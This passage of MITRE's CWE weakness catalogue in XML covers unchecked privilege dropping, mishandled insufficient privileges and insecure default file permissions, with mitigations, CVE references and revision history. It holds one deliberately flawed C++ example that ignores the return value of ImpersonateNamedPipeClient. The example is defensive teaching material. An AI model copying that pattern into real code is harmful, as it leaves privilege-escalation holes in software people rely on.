            <Related_Weakness Nature="ChildOf" CWE_ID="754" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="271" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="252" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>In Windows based environments that have access control, impersonation is used so that access checks can be performed on a client identity by a server with higher privileges. By impersonating the client, the server is restricted to client-level security -- although in different threads it may have much higher privileges.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>
                  <xhtml:p>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</xhtml:p>
                  <xhtml:p>This issue is likely to occur in restrictive environments in which the operating system or application provides fine-grained control over privilege management.</xhtml:p>
               </Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Non-Repudiation</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Hide Activities</Impact>
               <Note>If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-53">
               <Phase>Implementation</Phase>
               <Description>Check the results of all functions that return a value and verify that the value is expected.</Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>In Windows, make sure that the process token has the SeImpersonatePrivilege(Microsoft Server 2003). Code that relies on impersonation for security must ensure that the impersonation succeeded, i.e., that a proper privilege demotion happened.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code attempts to take on the privileges of a user before creating a file, thus avoiding performing the action with unnecessarily high privileges:</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>bool DoSecureStuff(HANDLE hPipe) {<xhtml:div style="margin-left:1em;">bool fDataWritten = false;<xhtml:br/>ImpersonateNamedPipeClient(hPipe);<xhtml:br/>HANDLE hFile = CreateFile(...);<xhtml:br/>/../<xhtml:br/>RevertToSelf()<xhtml:br/>/../</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The call to ImpersonateNamedPipeClient may fail, but the return value is not checked. If the call fails, the code may execute with higher privileges than intended. In this case, an attacker could exploit this behavior to write a file to a location that the attacker does not have access to.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-4447</Reference>
               <Description>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4447</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2916</Reference>
               <Description>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2916</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to check whether privileges were dropped successfully</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS37-C</Entry_ID>
               <Entry_Name>Ensure that privilege relinquishment is successful</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Modes_of_Introduction, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Background_Details, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-03-10">Failure to Check Whether Privileges Were Dropped Successfully</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Improper Check for Successfully Dropped Privileges</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="274" Name="Improper Handling of Insufficient Privileges" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="755" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="269" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="271" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="280" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1564</Reference>
               <Description>System limits are not properly enforced after privileges are dropped.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1564</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3286</Reference>
               <Description>Firewall crashes when it can't read a critical memory block that was protected by a malicious process.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3286</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1641</Reference>
               <Description>Does not give admin sufficient privileges to overcome otherwise legitimate user actions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1641</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Insufficient privileges</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.</Note>
            <Note Type="Relationship">Overlaps dropped privileges, insufficient permissions.</Note>
            <Note Type="Theoretical">This has a layering relationship with Unchecked Error Condition and Unchecked Return Value.</Note>
            <Note Type="Theoretical">Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the product makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationship_Notes, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Relationships, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Insufficient Privileges</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Handle Insufficient Privileges</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="276" Name="Incorrect Default Permissions" Abstraction="Base" Structure="Simple" Status="Draft">
     <Description>During installation, installed file permissions are set to allow anyone to modify those files.</Description>
     <Related_Weaknesses>
      <Related_Weakness Nature="ChildOf" CWE_ID="732" View_ID="1000" Ordinal="Primary"/>
      <Related_Weakness Nature="ChildOf" CWE_ID="732" View_ID="1003" Ordinal="Primary"/>
     </Related_Weaknesses>
     <Weakness_Ordinalities>
      <Weakness_Ordinality>
        <Ordinality>Primary</Ordinality>
      </Weakness_Ordinality>
     </Weakness_Ordinalities>
     <Applicable_Platforms>
      <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
      <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
	  <Technology Class="ICS/OT" Prevalence="Undetermined"/>
     </Applicable_Platforms>
     <Modes_Of_Introduction>
      <Introduction>
        <Phase>Architecture and Design</Phase>
      </Introduction>
      <Introduction>
        <Phase>Implementation</Phase>
      </Introduction>
      <Introduction>
        <Phase>Installation</Phase>
      </Introduction>
      <Introduction>
        <Phase>Operation</Phase>
      </Introduction>
     </Modes_Of_Introduction>
     <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
     <Common_Consequences>
      <Consequence>
        <Scope>Confidentiality</Scope>
        <Scope>Integrity</Scope>
        <Impact>Read Application Data</Impact>
        <Impact>Modify Application Data</Impact>
      </Consequence>
     </Common_Consequences>
     <Detection_Methods>
      <Detection_Method>
        <Method>Automated Static Analysis - Binary or Bytecode</Method>
        <Description>
         <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
         <xhtml:div style="margin-left:1em;">
           <xhtml:div>Cost effective for partial coverage:</xhtml:div>
            <xhtml:ul>
              <xhtml:li>Inter-application Flow Analysis</xhtml:li>
            </xhtml:ul>
         </xhtml:div>
        </Description>
        <Effectiveness>SOAR Partial</Effectiveness>
      </Detection_Method>
      <Detection_Method>
        <Method>Manual Static Analysis - Binary or Bytecode</Method>
        <Description>
         <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
         <xhtml:div style="margin-left:1em;">
           <xhtml:div>Cost effective for partial coverage:</xhtml:div>
            <xhtml:ul>
              <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
            </xhtml:ul>
         </xhtml:div>
        </Description>
        <Effectiveness>SOAR Partial</Effectiveness>
      </Detection_Method>
      <Detection_Method>
        <Method>Dynamic Analysis with Automated Results Interpretation</Method>
        <Description>
         <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
         <xhtml:div style="margin-left:1em;">
           <xhtml:div>Cost effective for partial coverage:</xhtml:div>
            <xhtml:ul>
              <xhtml:li>Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria</xhtml:li>
              <xhtml:li>Web Application Scanner</xhtml:li>
              <xhtml:li>Web Services Scanner</xhtml:li>
              <xhtml:li>Database Scanners</xhtml:li>
            </xhtml:ul>
         </xhtml:div>
        </Description>
        <Effectiveness>SOAR Partial</Effectiveness>
      </Detection_Method>
      <Detection_Method>
        <Method>Dynamic Analysis with Manual Results Interpretation</Method>
        <Description>
         <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
         <xhtml:div style="margin-left:1em;">
           <xhtml:div>Highly cost effective:</xhtml:div>
            <xhtml:ul>
              <xhtml:li>Host Application Interface Scanner</xhtml:li>
            </xhtml:ul>
           <xhtml:div>Cost effective for partial coverage:</xhtml:div>
            <xhtml:ul>
              <xhtml:li>Fuzz Tester</xhtml:li>
              <xhtml:li>Framework-based Fuzzer</xhtml:li>
              <xhtml:li>Automated Monitored Execution</xhtml:li>
              <xhtml:li>Forced Path Execution</xhtml:li>
            </xhtml:ul>
         </xhtml:div>
        </Description>
        <Effectiveness>High</Effectiveness>
      </Detection_Method>
      <Detection_Method>
        <Method>Manual Static Analysis - Source Code</Method>
        <Description>
         <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
         <xhtml:div style="margin-left:1em;">
           <xhtml:div>Highly cost effective:</xhtml:div>
            <xhtml:ul>
              <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
            </xhtml:ul>
           <xhtml:div>Cost effective for partial coverage:</xhtml:div>
            <xhtml:ul>
              <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
            </xhtml:ul>
         </xhtml:div>
        </Description>
        <Effectiveness>High</Effectiveness>
      </Detection_Method>
      <Detection_Method>
        <Method>Automated Static Analysis - Source Code</Method>
        <Description>
         <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
         <xhtml:div style="margin-left:1em;">
           <xhtml:div>Cost effective for partial coverage:</xhtml:div>
            <xhtml:ul>
              <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
            </xhtml:ul>
         </xhtml:div>
        </Description>
        <Effectiveness>SOAR Partial</Effectiveness>
      </Detection_Method>
      <Detection_Method>
        <Method>Automated Static Analysis</Method>
        <Description>
         <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
         <xhtml:div style="margin-left:1em;">
           <xhtml:div>Cost effective for partial coverage:</xhtml:div>
            <xhtml:ul>
              <xhtml:li>Configuration Checker</xhtml:li>
            </xhtml:ul>
         </xhtml:div>
        </Description>
        <Effectiveness>SOAR Partial</Effectiveness>
      </Detection_Method>
      <Detection_Method>
        <Method>Architecture or Design Review</Method>
        <Description>
         <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
         <xhtml:div style="margin-left:1em;">
           <xhtml:div>Highly cost effective:</xhtml:div>
            <xhtml:ul>
              <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
            </xhtml:ul>
           <xhtml:div>Cost effective for partial coverage:</xhtml:div>
            <xhtml:ul>
              <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
            </xhtml:ul>
         </xhtml:div>
        </Description>
        <Effectiveness>High</Effectiveness>
      </Detection_Method>
     </Detection_Methods>
     <Potential_Mitigations>
      <Mitigation Mitigation_ID="MIT-1">
        <Phase>Architecture and Design</Phase>
        <Phase>Operation</Phase>
        <Description>The architecture needs to access and modification attributes for files to only those users who actually require those actions.</Description>
      </Mitigation>
      <Mitigation Mitigation_ID="MIT-46">
        <Phase>Architecture and Design</Phase>
        <Strategy>Separation of Privilege</Strategy>
        <Description>
          <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
          <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
        </Description>
      </Mitigation>
     </Potential_Mitigations>
     <Observed_Examples>
      <Observed_Example>
        <Reference>CVE-2005-1941</Reference>
        <Description>Executables installed world-writable.</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2005-1941</Link>
      </Observed_Example>
      <Observed_Example>
        <Reference>CVE-2002-1713</Reference>
        <Description>Home directories installed world-readable.</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2002-1713</Link>
      </Observed_Example>
      <Observed_Example>
        <Reference>CVE-2001-1550</Reference>
        <Description>World-writable log files allow information loss; world-readable file has cleartext passwords.</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2001-1550</Link>
      </Observed_Example>
      <Observed_Example>
        <Reference>CVE-2002-1711</Reference>
        <Description>World-readable directory.</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2002-1711</Link>
      </Observed_Example>
      <Observed_Example>
        <Reference>CVE-2002-1844</Reference>
        <Description>Windows product uses insecure permissions when installing on Solaris (genesis: port error).</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2002-1844</Link>
      </Observed_Example>
      <Observed_Example>
        <Reference>CVE-2001-0497</Reference>
        <Description>Insecure permissions for a shared secret key file. Overlaps cryptographic problem.</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-2001-0497</Link>
      </Observed_Example>
      <Observed_Example>
        <Reference>CVE-1999-0426</Reference>
        <Description>Default permissions of a device allow IP spoofing.</Description>
        <Link>https://www.cve.org/CVERecord?id=CVE-1999-0426</Link>
      </Observed_Example>
     </Observed_Examples>
     <Taxonomy_Mappings>
      <Taxonomy_Mapping Taxonomy_Name="PLOVER">
        <Entry_Name>Insecure Default Permissions</Entry_Name>
      </Taxonomy_Mapping>
      <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
        <Entry_ID>FIO06-C</Entry_ID>
        <Entry_Name>Create files with appropriate access permissions</Entry_Name>
      </Taxonomy_Mapping>
      <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
        <Entry_ID>FIO01-J</Entry_ID>
        <Entry_Name>Create files with appropriate access permission</Entry_Name>
      </Taxonomy_Mapping>
      <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	<Entry_ID>Part 2-4</Entry_ID>
	<Entry_Name>Req SP.03.08</Entry_Name>
      </Taxonomy_Mapping>
      <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	<Entry_ID>Part 4-2</Entry_ID>
	<Entry_Name>Req CR 2.1</Entry_Name>
      </Taxonomy_Mapping>
     </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="127"/>
            <Related_Attack_Pattern CAPEC_ID="81"/>
         </Related_Attack_Patterns>
         <References>
      <Reference External_Reference_ID="REF-62" Section="Chapter 3, &#34;Insecure Defaults&#34;, Page 69"/>
     </References>
     <Content_History>
      <Submission>
        <Submission_Name>PLOVER</Submission_Name>
        <Submission_Date>2006-07-19</Submission_Date>
      </Submission>
      <Modification>
        <Modification_Name>Eric Dalci</Modification_Name>
        <Modification_Organization>Cigital</Modification_Organization>
        <Modification_Date>2008-07-01</Modification_Date>
        <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2008-09-08</Modification_Date>
        <Modification_Comment>updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2008-11-24</Modification_Date>
        <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2009-05-27</Modification_Date>
        <Modification_Comment>updated Description, Name</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2011-06-01</Modification_Date>
        <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2011-09-13</Modification_Date>
        <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2012-05-11</Modification_Date>
        <Modification_Comment>updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2012-10-30</Modification_Date>
        <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2014-07-30</Modification_Date>
        <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2017-05-03</Modification_Date>
        <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
      </Modification>
      <Modification>
        <Modification_Name>CWE Content Team</Modification_Name>
        <Modification_Organization>MITRE</Modification_Organization>
        <Modification_Date>2017-11-08</Modification_Date>
        <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
      </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
